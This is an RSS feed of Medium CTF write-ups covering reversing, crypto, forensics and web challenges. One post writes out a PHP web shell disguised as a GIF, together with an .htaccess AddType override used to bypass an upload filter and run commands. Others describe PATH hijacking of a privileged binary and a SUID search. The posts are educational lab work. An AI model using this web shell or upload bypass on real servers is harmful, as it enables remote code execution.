<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 4mN3s14 on Medium]]></title>
        <description><![CDATA[Stories by 4mN3s14 on Medium]]></description>
        <link>https://medium.com/@johnjkar?source=rss-527d41176b87------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*hffoYi3HPODA-YrI</url>
            <title>Stories by 4mN3s14 on Medium</title>
            <link>https://medium.com/@johnjkar?source=rss-527d41176b87------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 20:47:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@johnjkar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Solving the “_starting off” Crackme from Crackmes.one]]></title>
            <link>https://medium.com/@johnjkar/solving-the-starting-off-crackme-from-crackmes-one-fef2b7762ca9?source=rss-527d41176b87------2</link>
            <guid isPermaLink="false">https://medium.com/p/fef2b7762ca9</guid>
            <category><![CDATA[crackme]]></category>
            <dc:creator><![CDATA[4mN3s14]]></dc:creator>
            <pubDate>Sat, 18 Oct 2025 15:15:37 GMT</pubDate>
            <atom:updated>2025-10-18T15:15:37.723Z</atom:updated>
            <content:encoded><![CDATA[<p>For this crackme the main aim was to print flag.txt through the chall binary. I first run the binary in terminal but it was only printing “Entry, main\n” and it exits then I decided to disassemble the binary in ghidra to give me an insight about the internal workings of the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/182/1*RINpo_JnYXcZBy9U58dEdA.png" /><figcaption>functions</figcaption></figure><p>I realised that the binary had only three functions. The entry, FUN_00010000 and FUN_00010024.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*I78w5D4XYQM8iBefEMeIsg.png" /><figcaption>entry</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*bvhKQ73yM99Hfobjd2dIpA.png" /><figcaption>FUN_00010000</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*OH9tBWEY1ZRQikw-ho3WaA.png" /><figcaption>FUN_00010000</figcaption></figure><p>After this initial recon I saw that the FUN_00010000 is never called therefore I decided to switch to radare for dynamic analysis.The challenge lies in recognizing this dead code and redirecting execution to it — without patching the binary, as per standard reverse engineering ethics for non-”patch me” challenges.</p><h3>Initial Reconnaissance in radare</h3><p>I began by loading the binary into <strong>Radare2</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*G8KPZeEnF7DhXTzTVFxM_Q.png" /></figure><p>Key observations from initial analysis:</p><ul><li>Architecture: <strong>x86–64</strong>, <strong>static</strong>, <strong>stripped</strong></li><li>Only two functions detected: entry0 (the real entry point) and fcn.00010000 (a syscall helper)</li><li>A string &quot;flag.txt&quot; was present at virtual address 0x000100c8</li><li>No obvious input handling or vulnerability — suggesting the solution involved <strong>code reuse</strong>, not exploitation</li></ul><p>Disassembling entry0 confirmed it only prints a fixed string via a call to fcn.00010000, which acts as a write(1, buf, len) wrapper.</p><h3>Discovering the Hidden Function</h3><p>Although Radare2’s auto-analysis (afl) didn’t detect it, Ghidra had previously revealed a flag() function at 0x00010024. I suspected this code existed but was <strong>unreferenced</strong> (dead code).</p><p>To verify, I examined raw bytes at 0x00010024:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*27mHRsaD1hohW2-va2qUWw.png" /></figure><p>The output showed valid x86–64 prologue instructions (push rbp; mov rbp, rsp), confirming executable code. I then <strong>manually defined a function</strong> at this address:Now disassembly worked:</p><h3>Analyzing the Flag Function</h3><p>The function (fcn.00010024) performs three key operations:</p><ol><li><strong>Open </strong><strong>flag.txt</strong>:</li><li><strong>Read 11 bytes</strong> into a local buffer:</li><li><strong>Print the buffer</strong> via the existing helper:</li></ol><p>Critically, <strong>all syscalls were properly set up</strong> — this function was complete and correct. The only issue: <strong>it was never called</strong>.</p><h3>Execution Strategy</h3><p>Since the binary is static and has no input vectors, the intended solution is to <strong>redirect execution</strong> to this hidden function. This is typically done via <strong>dynamic analysis</strong> (debugging), not binary patching. I used Radare2’s debugger to hijack control flow:</p><p>Steps:</p><ol><li>Run until the entry point:</li><li>Redirect the instruction pointer to the flag function:</li><li>Continue execution:</li></ol><p>The program then executed the hidden function, printing the flag to stdout before terminating (with a harmless segfault due to the ret without a valid return address—but the flag was already revealed).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*YREK6xyvgMmIKFy__SNVJQ.png" /></figure><h3>Lessons Learned</h3><ol><li><strong>Always check for dead code</strong>: Unreferenced functions may contain the solution.</li><li><strong>Cross-validate tools</strong>: Ghidra’s aggressive function detection helped identify the hidden routine; Radare2 confirmed and enabled dynamic analysis.</li><li><strong>Debugging &gt; patching</strong>: For non-”patch me” challenges, runtime redirection is preferred over binary modification.</li><li><strong>Segfaults after flag disclosure are acceptable</strong>: The goal is flag retrieval, not clean program termination.</li></ol><p>Ultimately, the flag wasn’t protected by encryption, obfuscation, or complex logic. It was simply waiting to be executed. And sometimes, in reverse engineering, the hardest part isn’t breaking the code—it’s realizing it was already broken open for you. Hope you enjoy the read!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fef2b7762ca9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[picoMINI CTF]]></title>
            <link>https://medium.com/@johnjkar/picomini-ctf-c42781f9e146?source=rss-527d41176b87------2</link>
            <guid isPermaLink="false">https://medium.com/p/c42781f9e146</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[4mN3s14]]></dc:creator>
            <pubDate>Thu, 16 Oct 2025 12:56:53 GMT</pubDate>
            <atom:updated>2025-10-16T12:56:53.863Z</atom:updated>
            <content:encoded><![CDATA[<h3>byp4ss3d: How I Tricked a University Portal into Running My Homework (and Stole the Flag)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*cIbpGDyQ-pgUC6Gvooz4MA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/1*HrhMhl4pKBzCTpvBefYu8A.png" /><figcaption>hint 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/217/1*oco_JDKPQvsVeKeAOxMuCQ.png" /></figure><h3>🎓 The Setup: “Just Upload Your Student ID!”</h3><p>So there I was, trying to register for <em>Advanced Underwater Basket Weaving 401</em>, when the university’s fancy new portal said:</p><blockquote><em>“Please upload your student ID for verification. Only </em><strong><em>image files</em></strong><em> allowed. We’re </em>very<em> secure.”</em></blockquote><p><em>Spoiler: They weren’t.</em></p><p>The developer clearly watched one too many “secure coding” TikToks but forgot the golden rule:</p><blockquote><strong><em>“If you let users upload files, assume they’ll upload a nuclear launch code disguised as a cat meme.”</em></strong></blockquote><h3>🔍 Recon: Poking the Upload Form</h3><p>I tried uploading exploit.php.<br><strong>Result</strong>: ❌ <em>&quot;Only images allowed!&quot;</em></p><p>I tried exploit.jpg.php.<br><strong>Result</strong>: ❌ <em>&quot;Nice try, script kiddie!&quot;</em></p><p>I even tried sweet-talking the server:</p><blockquote><em>“Pleeeease? I promise it’s just a picture of my dog!”<br></em><strong><em>Result</em></strong><em>: ❌ </em>Silence (and a 403 error).</blockquote><p>But then I saw the <strong>hint</strong>:</p><blockquote>“Apache can be tricked into executing non-PHP files as PHP with a .htaccess file. Try uploading more than just one file.”</blockquote><p>Ah-ha! The universe handed me a cheat code. Time to throw a <strong>two-file rave</strong> in Apache’s backyard.</p><h3>The Plan: A Tale of Two Files</h3><h4>File 1: .htaccess — The Bouncer Who Forgot the Guest List</h4><p>I created a tiny file named .htaccess with one line of pure chaos:</p><p><strong><em>AddType application/x-httpd-php .jpg</em></strong></p><p>Translation: <em>“Hey Apache, treat every </em><em>.jpg like it’s a PHP script. Trust me, bro.”</em></p><h4>File 2: shell.jpg — The Wolf in Sheep’s Clothing</h4><p>Next, I crafted shell.jpg:</p><p>GIF89a;<br>&lt;?=@$_GET[0]?&gt;</p><ul><li>GIF89a; = Magic bytes to fool the “is this an image?” check.</li><li>&lt;?=@$_GET[0]?&gt; = “Run whatever command I whisper to you via URL.”</li></ul><p>It’s like hiding a flamethrower inside a teddy bear labeled <em>“Harmless Cuddles.”</em></p><h3>🚀 Execution: Uploading the Chaos Duo</h3><ol><li><strong>Uploaded </strong><strong>.htaccess</strong> → The portal said <em>“File uploaded!”</em> (bless its naive heart).</li><li><strong>Uploaded </strong><strong>shell.jpg</strong> → <em>“Image verified!”</em> (it saw GIF89a and threw a confetti party).</li></ol><p>Now both files lived happily in /images/, plotting the server’s demise.</p><h3>💥 The Grand Finale: “Where’s the Flag?”</h3><p>I visited:</p><p><a href="http://amiable-citadel.picoctf.net:50240/images/shell.jpg?0=cat+/var/www/flag.txt">http://amiable-citadel.picoctf.net:50240/images/shell.jpg?0=cat+/var/www/flag.txt</a><strong>Result</strong>:</p><blockquote><em>picoCTF{byp4ss3d_1m4g3_upl0ad_f1lt3rs!} </em><strong><em>(this is not the real challenge flag)</em></strong></blockquote><p><strong>Me</strong>: 😎 <em>“Thanks for the flag, ‘secure’ portal. My basket-weaving professor will be so proud.”</em></p><h3>🤔 Why Did This Work?</h3><ul><li><strong>The upload filter</strong> only checked:</li><li>File extension (.jpg = ✅)</li><li>Magic bytes (GIF89a = ✅)</li><li>MIME type (probably image/gif = ✅)</li><li><strong>It forgot</strong>:</li><li><em>“What if someone brings a </em><em>.htaccess to rewrite the rules?”</em></li><li><em>“What if my ‘image’ is actually a PHP script in a trench coat?”</em></li></ul><p>Apache, being the loyal but gullible friend, saw .htaccess and went:</p><blockquote>“You say .jpg files are PHP now? Sure, Jan.”</blockquote><h3>🛡️ How to Fix This (For the Dev Who Cried Wolf)</h3><ol><li><strong>Don’t allow </strong><strong>.htaccess uploads</strong> (or disable AllowOverride in Apache).</li><li><strong>Store uploads outside the web root</strong> (so even if you upload shell.jpg, it’s not web-accessible).</li><li><strong>Use a whitelist of allowed extensions</strong> + <strong>validate file content</strong> (not just headers!).</li><li><strong>Never trust user input</strong> — especially when it’s named .htaccess. That file is basically a hacker’s VIP pass.</li></ol><h3>💬 Final Thoughts</h3><p>This challenge was a masterclass in:</p><blockquote><strong><em>“Security through obscurity + hope = pwned.”</em></strong></blockquote><p>The dev thought, <em>“No one will think of </em><em>.htaccess!”</em><br>Meanwhile, hackers have been using this trick since <strong>2005</strong> (yes, your grandparents’ PHP apps are still vulnerable).</p><p>So next time you build a file upload feature:</p><blockquote><strong><em>Assume your users are me.</em></strong><em><br></em>(And I have a .htaccess and a dream.)</blockquote><h3><strong>Challenge: M1n10n’5_53cr37 (Android reverse-engineering) — find the flag hidden in the Minions APK.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*RdB4kSXk-QFa8VEeBi4wjg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*4cv94xWeBzL0hqnlXmRo9Q.png" /></figure><h3>Summary</h3><p>I decompiled the APK, inspected resources and code, found a suspicious string resource Banana in res/values/strings.xml that contained a Base32-encoded blob, decoded it, and recovered the flag:</p><p><strong>picoCTF{1t_w4sn7_h4rd_unr4v3l1n9_th3_m0b1l3_c0d3}</strong></p><p>Below are the steps, commands, and rationale I used — reproducible and concise.</p><h3>Tools used</h3><ul><li>apktool — decode resources (binary XML → readable XML)</li><li>jadx (optional) — decompile Java for quick code browsing (helpful but not strictly necessary here)</li><li>standard Unix utilities: grep, cat</li><li>base32 (or Python base64.b32decode) — decode Base32 strings</li></ul><h3>Step-by-step</h3><h3>1. Unpack / decode the APK</h3><p>I used apktool to decode the APK so I could read res/values/*.xml directly.</p><pre>apktool d Minions.apk -o apktool_out</pre><p>This produces a folder apktool_out/ with human-readable XML under res/values/.</p><blockquote><em>(Alternative: </em><em>jadx -d jadx_out Minions.apk to view decompiled Java and resources in one place.)</em></blockquote><h3>2. Inspect MainActivity for hints</h3><p>I opened the decompiled MainActivity (or searched for suspicious constants). The activity contains this line:</p><pre>getSupportActionBar().setBackgroundDrawable(<br>    new ColorDrawable(getResources().getColor(R.color.yellow))<br>);</pre><p>This made R.color.yellow worth checking — CTFs often hide flags in resource values (colors, strings).</p><h3>3. Inspect resource XML files</h3><p>I listed and opened relevant resource XMLs:</p><pre># open colors.xml<br>cat apktool_out/res/values/colors.xml</pre><pre># open strings.xml<br>cat apktool_out/res/values/strings.xml</pre><p>colors.xml contained only normal UI color entries; yellow was #ffffc107 (a normal material color) — nothing encoded there.</p><p>strings.xml contained a suspicious entry:</p><pre>&lt;string name=&quot;Banana&quot;&gt;OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=&lt;/string&gt;</pre><p>The value (OBUWG32D...) is clearly an encoded blob: characters are A-Z2-7 and it ends with = — this is Base32 (not Base64).</p><h3>4. Decode the Base32 string</h3><p>I decoded the value using either base32 command-line tool or Python.</p><p><strong>Using </strong><strong>base32 (coreutils):</strong></p><pre>echo &quot;OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=&quot; | base32 -d</pre><p><strong>Using Python:</strong></p><pre>import base64<br>s = &quot;OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=&quot;<br>print(base64.b32decode(s).decode())</pre><p>The decoded string was:</p><pre>picoCTF{1t_w4sn7_h4rd_unr4v3l1n9_th3_m0b1l3_c0d3}</pre><p>That is the flag.</p><h3>Notes &amp; Observations</h3><ul><li>The flag was stored entirely in strings.xml under a playful resource name Banana. Hiding flags in resource values (strings/colors) is a common Android CTF trick.</li><li>The MainActivity reference to R.color.yellow was a false lead in this case (yellow was a normal color). Searching the whole resource set for suspicious long strings is a fast win.</li><li>Base32 is commonly used (since it uses only uppercase A–Z and digits 2–7) and is visually distinct; spotting such a token in resource files is a strong clue.</li></ul><h3>Quick checklist for similar APK RE tasks</h3><ol><li>apktool d &lt;app.apk&gt; -o out</li><li>Search out/res/values/*.xml for long/odd-looking strings or hex color values. (grep -R -nE &quot;([A-Za-z2-7]{20,}=?)|#[0-9a-fA-F]{8,}&quot; out)</li><li>Try decoding candidates with common encodings: hex, base64, base32, ROT13, simple XOR.</li><li>If not found in resources, search decompiled Java/Smali for constants or suspicious file reads.</li><li>Check assets/, res/raw/, and native .so files with strings and binwalk.</li></ol><h3>Final result</h3><p><strong>Flag:</strong> picoCTF{1t_w4sn7_h4rd_unr4v3l1n9_th3_m0b1l3_c0d3}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c42781f9e146" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PICOCTF 2025 WRITEUPS BY 4mN3s14]]></title>
            <link>https://medium.com/@johnjkar/picoctf-2025-writeups-by-4mn3s14-1216bb9ecb2d?source=rss-527d41176b87------2</link>
            <guid isPermaLink="false">https://medium.com/p/1216bb9ecb2d</guid>
            <category><![CDATA[picoctf-2025]]></category>
            <dc:creator><![CDATA[4mN3s14]]></dc:creator>
            <pubDate>Mon, 17 Mar 2025 19:27:46 GMT</pubDate>
            <atom:updated>2025-03-17T19:27:48.797Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello so I am going to talk about some of the challenges I did in the PICOCTF 2025. This was my first PICOCTF and it was actually a very good learning and problem solving experience. Alright lets dive in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*4M0d5tuaNJqLVkj48f_60w.png" /></figure><p>This was a pretty easy challenge since it involved cracking password hashes. For this I used a online tool called <strong>hashes.com </strong>for cracking the password hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CEnuqg2IdW3v-4pezHIgzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*YEFcspyEBQx4aj2-b8G8Bw.png" /></figure><p><strong>EVEN RSA CAN BE BROKEN</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*P9XZd1uTn9dysw84inq_rA.png" /></figure><p>Now for this challenge we can see that it involves use of RSA which is a public key crypto system and from the challenge name we see that it can be broken. Okay lets get to it. From the description we see that we have to decrypt an encrypted flag with just N and e so we download the source code and examine it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*SVwq9I2Go53dcbSWXNzllQ.png" /></figure><blockquote>We can see that the script uses two prime numbers p and q to compute the modulus N ie N=p*q . and the public key is (N, e), where e is a standard value of 65537 and The private key is computed as the modular inverse of e modulo (p-1)*(q-1). It converts a plaintext message (m) into a number using bytes_to_long and encrypts it using the public key with the formula: c=memod Nc = m^e \mod Nc=memodN. It outputs N and the ciphertext (encrypted). The script reads a flag.txt file, strips whitespace, and encrypts its content. he script only reveals N and the ciphertext (cypher).</blockquote><p>Now this is the script I modded from the original</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*5WAA2Rhy8lU3ttt7jssG4w.png" /></figure><p>The script retrieves the decrypted flag in plain text</p><p><strong>GUESS MY CHEESE</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*5Oc3RgdMVqsHiSmyoHYsqQ.png" /></figure><p>As we can see in the description we have to try and decrypt the secret cheese password. On connecting to the challenge we get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*1cqeLPipFyQhKNDPKphZGQ.png" /></figure><p>We can see the encrypted cheese given to us but we do not know the method use to encrypt the cheese. So I first encrypted any cheese to see how its encrypted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*or-MJdB5GU0ke-vm0SzR2w.png" /></figure><p>After analyzing the process we see that it use an affine cipher to encrypt the cheese. Here is the script I use to decrypt the cipher to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*vD82zETQogN96OMb-y0-LA.png" /></figure><h3>Ph4nt0m 1ntrud3r</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*mqGRcNxnJGCO_Je25q8Qrg.png" /></figure><p>In this challenge we se that we are given a pcap file to analyze and retrieve the message. For this challenge I used wireshark to analyze the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ze1QuJUYctO6MadVKksDLA.png" /></figure><p>We can see that we have 22 packets to analyze. On following tcp stream on the first packet we get a base64 string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qiDYLmbEr-LqwygRr4JjLg.png" /></figure><p>And on decoding it using base64decode.org we get a part of the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*u2MRFDxB4wNS940SKXHGNg.png" /></figure><p>But remember in the hint they told us that time is a factor and the attack was done in a timely manner there the different parts of the flag have to be arranged according to their time. So after examining each packet I ws able to organize the parts of the flag.</p><p>picoCTF{1t_w4snt_th4t_34sy_tbh_4r_d1065384}</p><h3>n0s4n1ty 1</h3><p>So I failed to pronounce the title of the challenge but her is the description</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*FEJGXuL5SvivOtG9cftGaw.png" /></figure><p>From the description we see that the flag is located in the /root directory on the website and the upload was not sanitized</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B3rJMmKoYM37hJL3-iTtQA.png" /></figure><p>What I did for this challenge is to upload a php script to escalate admin privileges since the input is not sanitized</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*1Czyb5zmZ3MmA0RjPx2fIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OL2bJ_TgwoVUYfFudsaAlw.png" /></figure><p>We see that the script is uploaded to uploads so lets try opening it. On opening the script we get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2bmjjxshRlZ3WU8YHAccEw.png" /></figure><p><strong>hash-only-one</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*q3azkuSbyfbgZoKg6sRr5w.png" /></figure><p>In this challenge we are given a binary that has enoygh privilage to read the content of the flag. Lets connect to the ssh and see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*Vl56B8-tr8qbnyef8nfiWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*7yc5ANNUaScthOMTG-6bgQ.png" /></figure><p>Now on running the binary we see that it only computes the hash of the flag yet we want to get the actual flag. To exploit this I used Environment Variable Injection where the system() function uses the environment’s $PATH variable to locate commands therefore by modifying $PATH, I can replace md5sum with a custom script or binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*tR4LRWTlrv0Obw1YMbTceg.png" /></figure><p>And after replacing the md5sum with our binary we got the actual flag.</p><h3>hash-only-2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*X5RCHLONPYwTkqphaG61Hg.png" /></figure><p>Now in this part 2 we have the same binary with the same privilages lets try to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*w1TrUkZ2xccvlNun09lE8w.png" /></figure><p>Okay now this time we are restricted in the rbash shell. So what I did was to first change shell using chsh command, then I logged out and back in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*XYoOVpLSNs22V6aEtQvKuA.png" /></figure><p>We can see that we changed from rbash to bash shell but the file is not accessible. Now I checked for SUID binaries with the proper permissions with the command <strong>find / -type f -perm -4000 2&gt;/dev/null</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*8iOFZMi9gPye67EIOLMz2w.png" /></figure><p>Now this prints all the directories where I spotted the directory where flaghasher is located. On opening the directory I got the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*FFrp_Uex__oSH5QpTqFVnA.png" /></figure><h3>Rust fixme 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*r8D0_IFJOAIAQ7cy4zqwig.png" /></figure><p>I this challenge we were given rust code to fix the errors and retrieve the flag here is the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*ZHrFZvOrdRrHVVaJ-qGtZw.png" /></figure><p>Now this the code I fixed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zY6AgFj07MLDsLLnChPLpw.png" /></figure><p>And on running the code we get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*8PCRnENmyi7Gn-maEkCT_Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1216bb9ecb2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SNYK FETCH THE FLAG 2025]]></title>
            <link>https://medium.com/@johnjkar/snyk-fetch-the-flag-2025-90046d8f63a8?source=rss-527d41176b87------2</link>
            <guid isPermaLink="false">https://medium.com/p/90046d8f63a8</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[4mN3s14]]></dc:creator>
            <pubDate>Sun, 02 Mar 2025 08:50:25 GMT</pubDate>
            <atom:updated>2025-03-02T08:50:25.236Z</atom:updated>
            <content:encoded><![CDATA[<p>I actually joined late in the competition but I managed to solve some simple challenges in reverse engineering. Man this fetch the flag was a whole new world to me but I was able to do something. Let’s dive in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*MR9CPi-W95Lgq9VF9EcRoQ.png" /><figcaption>challenge description</figcaption></figure><p>The challenge was called string me along which basing on the title involves dealing with strings of a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*aOT5FwqsgS14bJLX8luIgQ.png" /></figure><p>So I first checked the file type with the file command and the tried running the file. On running the file prompts us to enter a password which we don’t have.</p><p>Then I decided to check the strings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*2EA0k-sdKO4WSnpxMpcspg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*51vGWZzAedx-NEDfdHO2BQ.png" /></figure><p>On analyzing the strings I found the password “unlock_me_123” and then running the file again and entering the password gave me the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*xxLpORwmQ_lv-_NTVzaHEw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90046d8f63a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ACECTF 2025 WEB CHALLENGE WRITEUP (BUCKETLIST)]]></title>
            <link>https://medium.com/@johnjkar/acectf-2025-web-challenge-writeup-bucketlist-65a361ea1a76?source=rss-527d41176b87------2</link>
            <guid isPermaLink="false">https://medium.com/p/65a361ea1a76</guid>
            <dc:creator><![CDATA[4mN3s14]]></dc:creator>
            <pubDate>Sat, 01 Mar 2025 10:57:37 GMT</pubDate>
            <atom:updated>2025-03-01T10:57:37.812Z</atom:updated>
            <content:encoded><![CDATA[<p>This was an interesting challenge in the ACECTF 2025 and actually don’t know how I got the flag but I got it</p><figure><img alt="Challenge description" src="https://cdn-images-1.medium.com/max/824/1*Ec9MibxHW5DTk9IwkR51zg.png" /><figcaption>Challenge description</figcaption></figure><p>Clicking on the link this image opened in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfn62mAMuF32KC3hnEOrwg.png" /></figure><p>What I did, I first edit the url directory and got to the xml file of the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61bbs-Z3N694xgMIjvRPwQ.png" /></figure><p>Browsing through the xml file I found this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*KLvGxahJLghrY_Lb3AkL4w.png" /></figure><p>Now copying and pasting the path in the url, I got this string which seems to be base64 encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mzrXzGoBPA8pcdhnv-QkA.png" /></figure><p>Now decoding the string with Base64 decoder I got the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*JNC-L10hKZVwO1Vaz20Jng.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65a361ea1a76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breached:UCC CYBERDRILL CTF 2024 Writeup]]></title>
            <link>https://medium.com/@johnjkar/breached-ucc-cyberdrill-ctf-2024-writeup-27c48aeedce2?source=rss-527d41176b87------2</link>
            <guid isPermaLink="false">https://medium.com/p/27c48aeedce2</guid>
            <dc:creator><![CDATA[4mN3s14]]></dc:creator>
            <pubDate>Tue, 19 Nov 2024 08:41:27 GMT</pubDate>
            <atom:updated>2024-11-19T08:41:27.382Z</atom:updated>
            <content:encoded><![CDATA[<p>This was my very first CTF and it was an opportunity for me to practice and learn from the simulations. Thankyou to the organizers @ucc @Ug_Cert @Uguntu for the opportunity to participate.</p><p>I am going to share one of the challenges from the CTF which was falling under Forensics and network security and monitoring here is the challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mv7Y-U0qIQCyKQbHmhMYgA.png" /></figure><p>As you see from the screenshot the attackers were trying to breach the network and we were tasked to analyze the traffic which was captured. We were given a <strong>capture.pcap</strong> file to analyze and find the tool and version used by the attacker. I used <strong>Wireshark</strong> to open and analyze the traffic. Wireshark is a free, open-source network analyzer that allows users to capture and analyze network packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGXVCwwn9j0q5NZA3FkeIQ.png" /></figure><p>After opening the capture.pcap file we can see that there are 5747 packets in the file. But remember we have a hint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ulF2jJV-Q7VyJ3rTmny6g.png" /><figcaption>Hint</figcaption></figure><p>From the given hint I focused on the http protocol in my analysis by filtering it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gp2napPfLd0qy74VnUEwvw.png" /></figure><p>After filtering we see that there are 2947 packets of http and maybe our flag is in one of those packets. I right clicked on the first http packet and looked for <strong>follow http stream </strong>which displays in text format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HOHLM00XtGooAwsYTh9bRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJYOJ2cijxcEFOZS9G2VdA.png" /></figure><p>After opening http stream I saw something suspicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kD52YOAaunjH7MIxDax8wA.png" /></figure><p>The text highlighted in purple is actually the flag we are looking for. And that’s how I was able to find it</p><p><strong>Flag format: uguntu{Nikto_2.1.6}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27c48aeedce2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>